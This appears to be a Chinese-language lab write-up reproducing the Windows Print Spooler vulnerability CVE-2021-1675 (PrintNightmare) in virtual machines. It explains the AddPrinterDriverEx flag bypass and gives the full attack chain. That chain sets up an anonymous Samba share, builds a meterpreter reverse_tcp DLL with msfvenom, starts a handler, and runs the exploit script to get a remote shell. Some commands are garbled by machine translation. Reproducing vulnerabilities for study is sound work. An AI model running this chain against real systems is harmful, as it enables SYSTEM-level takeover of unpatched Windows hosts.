0x01 漏洞参考:
https://github.com/cube0x0/CVE-2021-1675
影响版本:
Windows Server 2012 R2(服务器核心安装)
Windows Server 2012 R2
Windows Server 2012(服务器核心安装)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1(服务器内核安装))
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(服务器内核安装)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32- bit Systems Service Pack 2(服务器内核安装)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows RT 8.1
适用于基于x64系统的
Windows 8.1 > 适用于32位系统的Windows 8.1
适用于基于x64系统的
Windows 7 Service Pack 1 > 适用于32位系统的Windows 7 Service Pack 1
Windows Server 2016(服务器核心安装)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 for based ARM64 的系统
版本 20H2 > 用于 32 位系统的
Windows 10 版本 20H2 > 适用于 x64 系统的 Windows 10 版本 20H2
Windows Server,版本 2004(服务器内核安装)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-
bit Systems
Windows 10 Version 2004 for 32-bit Systems > Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based systems
Windows 10 Version 21H1 for x64-based systems
Windows 10 Version 1909 for ARM64-based systems
适用于 x64
位系统的
Windows 10 Version 1909 > 适用于 32位系统的Windows 10 Version 1909 > Windows Server 2019(服务器核心安装)
Windows Server 2019
适用于基于 ARM64 的系统的
Windows 10 Version 1809 > 适用于 x64 的 Windows 10 Version 1809 -based Systems
Windows 10 Version 1809 for 32-bit Systems
0x02 漏洞原理:
该漏洞发生在 AddPrinterDriverEx 函数,它共有三个参数,其中第三个参数是标志,该标志有一个特殊的值在官方文档中出现:APD_INSTALL_WARNED_DRIVER = 0x00008000。根据图 1 中的代码逻辑,在调用InternalAddPrinterDriverEx之前,会通过bittest对标志的0xf位进行验证。如果是1的话,则V12的值仍然为0,可以绕过第24行中对访问的检查,成功调用InternalAddPrinterDriverEx。
![](https://img.haomeiwen.com/i18885103/8792b2b1361ee244.png)
微软在6月8日修复了该漏洞,具体是在AddPrinterDriverEx中加入了权限的权限,重点在于YIsElevated、YIsElevationRequered和RunningAsLUA三个函数,当v12==0、v13==1v9==1 ,flag中的0x8000会&被删除,直到当天调用到SplAddPrinterDriverEx时权限失败,阻止了漏洞发生。
![](https://img.haomeiwen.com/i18885103/6a3ec80ecb7b78dc.png)
该漏洞点在于,调用YAddPrinterDriverEx函数,没有对参数dwFileCopyFlags做验证,使用APD_INSTALL_WARNED_DRIVER 标志,导致通过对合法性开启,可以任意的加载DLL,并且系统权限。
0x03现复:
复现环境:
我们需要一个linux
受害机:window2019(192.168.3.103)
服务机:Debian11( 192.168.3.104),配置可无密码访问的共享文件夹。
攻击机:kali(192.168.3.102)
(环境全在虚拟机中)
下载捕捉漏洞POC,并且执行GitHub指导指定依赖。
![](https://img.haomeiwen.com/i18885103/d7f6aa9e49cfa5a8.png)
安装他的
impacket pip3 uninstall impacket
git clonehttps://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
![](https://img.haomeiwen.com/i18885103/270730cf1537ded0.png)
将Poc复制到Kali上
另一台机器配置一下samba(Debian11)
![](https://img.haomeiwen.com/i18885103/0d42a98641efba24.png)
su
apt install samba
apt install samba-client
gedit /etc/samba /smb.conf
修改smb.conf的内容如下
[global]
map to guest = Bad User
server role = standalone server
usershare allow guest = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
评论 = 桑巴
路径 = /tmp/
guest ok = yes
read only = no
browsable = yes
create mask = 0777
directory mask = 0775
guest ok = yes
打开Kali,生成木马并配置网络
msfVENOM-p windows/x64/meterpreter/reverse_tcp LHOST=192.168. 3.102 LPORT=9999 -f dll -o y.dll
进入msfconsole
Msfconsolehandler -p windows/x64/meterpreter/reverse_tcp -H192.168.3.102-P9999
![](https://img.haomeiwen.com/i18885103/7f37810230cae212.png)
然后,上传恶意DLL文件到共享文件夹中(如果是Windows我们也可以通过手动的方式)
scp y.dll root@192.168.3.104:/tmp/
(上述操作需要开启SSH)
![](https://img.haomeiwen.com/i18885103/f535467cd005cffd.png)
上传y.dll到tmp目录
启动WindowsServer2019
![](https://img.haomeiwen.com/i18885103/eb0748bc2f00a841.png)
防火墙
防火墙Spooler服务
启动攻击脚本:
python3 CVE-2021-1675.py Users/M:Moxin123..@192.168.3.103 “\\192.168.3.104\smb\y.dll”
如果没有启动Spooler,回显是这样的:
![](https://img.haomeiwen.com/i18885103/55cf45d8de8ed18e.png)
如果连接用户失败,回显和上面相同。
![](https://img.haomeiwen.com/i18885103/5ed877e521c714b7.png)
不过影响不了我们
![](https://img.haomeiwen.com/i18885103/e50954403faf7221.png)
成功连接Msfconsole
后续我们会话-i 1
就可以使用Meterpreter
![](https://img.haomeiwen.com/i18885103/6af285eddc791bd0.png)
0x04
总结了这个自己漏洞的内网复现就成功了,Payload在2019上是很好用的。
网友评论